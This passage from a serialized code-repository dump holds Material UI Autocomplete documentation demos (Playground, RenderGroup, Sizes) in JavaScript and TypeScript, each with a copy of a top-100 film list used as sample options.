1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Playground.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Stack from '@mui/material/Stack';\n\nexport default function Playground() {\n  const defaultProps = {\n    options: top100Films,\n    getOptionLabel: (option: FilmOptionType) => option.title,\n  };\n  const flatProps = {\n    options: top100Films.map((option) => option.title),\n  };\n  const [value, setValue] = React.useState<FilmOptionType | null>(null);\n\n  return (\n    <Stack spacing={1} sx={{ width: 300 }}>\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-close-on-select\"\n        disableCloseOnSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableCloseOnSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"clear-on-escape\"\n        clearOnEscape\n        renderInput={(params) => (\n          <TextField {...params} label=\"clearOnEscape\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-clearable\"\n        disableClearable\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableClearable\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"include-input-in-list\"\n        includeInputInList\n        renderInput={(params) => (\n          <TextField {...params} label=\"includeInputInList\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...flatProps}\n        id=\"flat-demo\"\n        renderInput={(params) => (\n          <TextField {...params} label=\"flat\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"controlled-demo\"\n        value={value}\n        onChange={(event: any, newValue: FilmOptionType | null) => {\n          setValue(newValue);\n        }}\n        renderInput={(params) => (\n          <TextField {...params} label=\"controlled\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-complete\"\n        autoComplete\n        includeInputInList\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoComplete\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-list-wrap\"\n        disableListWrap\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableListWrap\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"open-on-focus\"\n        openOnFocus\n        renderInput={(params) => (\n          <TextField {...params} label=\"openOnFocus\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-highlight\"\n        autoHighlight\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoHighlight\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-select\"\n        autoSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disabled\"\n        disabled\n        renderInput={(params) => (\n          <TextField {...params} label=\"disabled\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-portal\"\n        disablePortal\n        renderInput={(params) => (\n          <TextField {...params} label=\"disablePortal\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"blur-on-select\"\n        blurOnSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"blurOnSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"clear-on-blur\"\n        clearOnBlur\n        renderInput={(params) => (\n          <TextField {...params} label=\"clearOnBlur\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"select-on-focus\"\n        selectOnFocus\n        renderInput={(params) => (\n          <TextField {...params} label=\"selectOnFocus\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...flatProps}\n        id=\"readOnly\"\n        readOnly\n        defaultValue={flatProps.options[13]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"readOnly\" variant=\"standard\" />\n        )}\n      />\n    </Stack>\n  );\n}\n\ninterface FilmOptionType {\n  title: string;\n  year: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/RenderGroup.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport { styled, lighten, darken } from '@mui/system';\n\nconst GroupHeader = styled('div')(({ theme }) => ({\n  position: 'sticky',\n  top: '-8px',\n  padding: '4px 10px',\n  color: theme.palette.primary.main,\n  backgroundColor: lighten(theme.palette.primary.light, 0.85),\n  ...theme.applyStyles('dark', {\n    backgroundColor: darken(theme.palette.primary.main, 0.8),\n  }),\n}));\n\nconst GroupItems = styled('ul')({\n  padding: 0,\n});\n\nexport default function RenderGroup() {\n  const options = top100Films.map((option) => {\n    const firstLetter = option.title[0].toUpperCase();\n    return {\n      firstLetter: /[0-9]/.test(firstLetter) ? '0-9' : firstLetter,\n      ...option,\n    };\n  });\n\n  return (\n    <Autocomplete\n      options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n      groupBy={(option) => option.firstLetter}\n      getOptionLabel={(option) => option.title}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n      renderGroup={(params) => (\n        <li key={params.key}>\n          <GroupHeader>{params.group}</GroupHeader>\n          <GroupItems>{params.children}</GroupItems>\n        </li>\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/RenderGroup.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport { styled, lighten, darken } from '@mui/system';\n\nconst GroupHeader = styled('div')(({ theme }) => ({\n  position: 'sticky',\n  top: '-8px',\n  padding: '4px 10px',\n  color: theme.palette.primary.main,\n  backgroundColor: lighten(theme.palette.primary.light, 0.85),\n  ...theme.applyStyles('dark', {\n    backgroundColor: darken(theme.palette.primary.main, 0.8),\n  }),\n}));\n\nconst GroupItems = styled('ul')({\n  padding: 0,\n});\n\nexport default function RenderGroup() {\n  const options = top100Films.map((option) => {\n    const firstLetter = option.title[0].toUpperCase();\n    return {\n      firstLetter: /[0-9]/.test(firstLetter) ? '0-9' : firstLetter,\n      ...option,\n    };\n  });\n\n  return (\n    <Autocomplete\n      options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n      groupBy={(option) => option.firstLetter}\n      getOptionLabel={(option) => option.title}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n      renderGroup={(params) => (\n        <li key={params.key}>\n          <GroupHeader>{params.group}</GroupHeader>\n          <GroupItems>{params.children}</GroupItems>\n        </li>\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/RenderGroup.tsx.preview",
    "content": "<Autocomplete\n  options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n  groupBy={(option) => option.firstLetter}\n  getOptionLabel={(option) => option.title}\n  sx={{ width: 300 }}\n  renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n  renderGroup={(params) => (\n    <li key={params.key}>\n      <GroupHeader>{params.group}</GroupHeader>\n      <GroupItems>{params.children}</GroupItems>\n    </li>\n  )}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/Sizes.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Chip from '@mui/material/Chip';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nexport default function Sizes() {\n  return (\n    <Stack spacing={2} sx={{ width: 500 }}>\n      <Autocomplete\n        id=\"size-small-standard\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-standard-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        id=\"size-small-outlined\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"Size small\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-outlined-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"Size small\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        id=\"size-small-filled\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-filled-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderValue={(values, getItemProps) =>\n          values.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <Chip\n                key={key}\n                variant=\"outlined\"\n                label={option.title}\n                size=\"small\"\n                {...itemProps}\n              />\n            );\n          })\n        }\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 